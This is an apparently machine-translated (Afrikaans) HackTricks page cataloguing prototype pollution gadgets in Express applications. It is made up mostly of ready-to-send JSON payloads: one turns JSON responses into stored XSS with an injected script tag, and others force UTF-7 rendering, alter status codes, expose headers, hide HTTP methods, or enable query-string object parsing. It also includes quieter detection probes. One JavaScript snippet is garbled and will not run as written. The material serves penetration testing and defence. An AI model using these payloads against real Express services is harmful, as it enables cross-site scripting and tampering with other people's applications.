Express Prototype Pollution Gadgets

Reading time: 4 minutes

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks

Dien XSS-antwoorde

Vir verdere besonderhede kyk na die oorspronklike navorsing

Verander JSON inhouds tipe na HTML

In 'n Express-toepassing wat 'n JSON inhouds tipe antwoord gebruik en 'n JSON reflekteer:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

In hierdie gevalle is XSS normaalweg nie moontlik met 'n JSON-inhouds tipe nie. egter, met prototipe besoedeling kan ons Express verwar om 'n HTML-antwoord te lewer. Hierdie kwesbaarheid is afhanklik van die aansoek wat res.send(obj) gebruik en die liggaam parser met die toepassing/json-inhouds tipe.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Deur body en _body eienskappe te besoedel, is dit moontlik om Express te laat dien die HTML inhoud tipe en die _body eienskap te reflekteer, wat lei tot gestoor XSS.

Render UTF7

Dit is moontlik om express UTF-7 inhoud te laat render met:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Veilige Skandeertegnieke

JSON spasie

Die volgende PP sal eienskappe binne 'n JSON 'n ekstra spasie gee wat nie die funksionaliteit sal breek nie:

json
{ "__proto__": { "json spaces": " " } }

Dan sal 'n weerspieëlde JSON soos volg lyk:

json
{"foo":  "bar"} -- Note the extra space

Blootgestelde Koppe

Die volgende PP gadget sal die bediener dwing om die HTTP-kop: Access-Control-Expose_headers: foo terug te stuur.

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Dit vereis dat die CORS-module geïnstalleer word

OPTIONS Metode

Met die volgende payload is dit moontlik om 'n metode uit 'n OPTIONS-respons te verberg:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

Dit is moontlik om die teruggegee statuskode te verander met die volgende PP payload:

json
{ "__proto__": { "status": 510 } }

Fout

Wanneer jy aan 'n prototipe toewys met 'n primitiewe soos 'n string, produseer dit 'n geen-operasie nie, aangesien die prototipe 'n objek moet wees. As jy probeer om 'n prototipe objek aan die Object.prototype self toe te wys, sal dit 'n uitsondering gooi. Ons kan hierdie twee gedrag gebruik om te detecteer of prototipe besoedeling suksesvol was:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Reflected Value

Wanneer 'n toepassing 'n objek in sy antwoord insluit, kan dit insiggewend wees om 'n attribuut met 'n ongewone naam saam met __proto__ te skep. Spesifiek, as slegs die ongewone attribuut in die antwoord teruggestuur word, kan dit die toepassing se kwesbaarheid aandui:

json
{ "unusualName": "value", "__proto__": "test" }

Boonop, in scenario's waar 'n biblioteek soos Lodash gebruik word, bied die instelling van 'n eienskap sowel via prototipe besoedeling (PP) as direk binne die objek 'n ander diagnostiese benadering. As so 'n eienskap uit die antwoord weggelaat word, dui dit daarop dat Lodash die bestaan van die eienskap in die teikenobjek verifieer voordat dit saamgevoeg word:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Verskeie

Laat Punte Toe

Daar is 'n opsie in Express wat jou toelaat om objekte te skep uit soekstring parameters.
Jy kan dit beslis in 'n fout ketting gebruik om 'n prototipe besoedeling kwesbaarheid te ontgin.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz skep 'n objek in Node.

Verwysings

tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Ondersteun HackTricks